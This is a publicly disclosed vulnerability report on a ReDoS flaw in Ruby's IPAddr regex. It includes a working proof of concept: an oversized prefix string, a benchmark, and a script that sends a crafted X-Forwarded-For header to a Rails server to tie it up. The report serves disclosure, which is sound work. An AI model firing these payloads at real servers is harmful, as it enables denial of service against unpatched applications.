HexBrain

Ruby · Report #1485717

ReDoS in IPAddr

Validstatus
32upvotes
8 Jul 2025disclosed

How it was found

Hello, I found a pattern that occur ReDoS in IPAddr.new.

https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L525

  def mask!(mask)
    case mask
    when String
      case mask
      when /\A(0|[1-9]+\d*)\z/
        prefixlen = mask.to_i

/\A(0|[1-9]+\d*)\z/ is vulnerable.

It is a detect result by recheck ( https://makenowjust-labs.github.io/recheck/ ).

{F1624909}

https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L628

  def initialize(addr = '::', family = Socket::AF_UNSPEC)
    ...
    prefix, prefixlen = addr.split('/', 2)
    if prefix =~ /\A(.*)(%\w+)\z/
      prefix = $1
      zone_id = $2
      family = Socket::AF_INET6
    end
    ...
    if prefixlen
      mask!(prefixlen)
    else
      @mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
    end
  end

mask! is used in IPAddr.new.

PoC

❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]

❯ irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => ReDoS (and raise ArgumentError)

It is also used by coerce_other, so it affects other methods as well.

IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'

benchmark

ipaddr_benchmark.rb

require 'benchmark'
require 'ipaddr'
  
def ipaddr_new(length)
  text = "0.0.0.0/" + '1' * length + '.'
  IPAddr.new(text)
rescue IPAddr::InvalidAddressError
  nil
end

Benchmark.bm do |x|
  x.report { ipaddr_new(100) }
  x.report { ipaddr_new(1000) }
  x.report { ipaddr_new(10000) }
  x.report { ipaddr_new(100000) }
end
❯ bundle exec ruby ipaddr_benchmark.rb
       user     system      total        real
   0.000056   0.000003   0.000059 (  0.000055)
   0.002921   0.000003   0.002924 (  0.002968)
   0.300863   0.000694   0.301557 (  0.302580)
  31.050866   0.103006  31.153872 ( 31.255489)

Rails

Since it is used in ActionDispatch::RemoteIp, it is possible to attack using custom headers.

https://github.com/rails/rails/blob/v7.0.2.2/actionpack/lib/action_dispatch/middleware/remote_ip.rb#L172

    private
      def ips_from(header) # :doc:
        return [] unless header
        # Split the comma-separated list into an array of strings.
        ips = header.strip.split(/[,\s]+/)
        ips.select do |ip|
          # Only return IPs that are valid according to the IPAddr#new method.
          range = IPAddr.new(ip).to_range
          # We want to make sure nobody is sneaking a netmask in.
          range.begin == range.end
        rescue ArgumentError
          nil
        end
      end

PoC

create rails server

❯ rails new rails_server -G -M -O -C -A -J -T      

❯ cd rails_server

❯ bundle exec rails s
=> Booting Puma
=> Rails 7.0.2.2 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 5.6.2 (ruby 3.1.1-p18) ("Birdie's Version")
*  Min threads: 5
*  Max threads: 5
*  Environment: development
*          PID: 13989
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000

ipaddr_request.rb

require 'net/http'

url = URI.parse('http://127.0.0.1:3000/')

req = Net::HTTP::Get.new(url.path)

req['X-Forwarded-For'] =  "0.0.0.0/" + '1' * 80000 + '.' 

res = Net::HTTP.start(url.host, url.port) {|http|
  http.request(req)
}
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb  0.18s user 0.08s system 0% cpu 40.302 total

Impact

ReDoS occurs when IPAddr.new accepts user input.

Rails uses ActionDispatch::RemoteIp by default, so it can be attacked by a request from the client.

If using nginx etc., the header length is limited to about 8k bytes, so it seems to be less affected. ( https://stackoverflow.com/questions/686217/maximum-on-http-header-values )

On the other hand, puma is susceptible because it can be used up to 80 * 1024.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original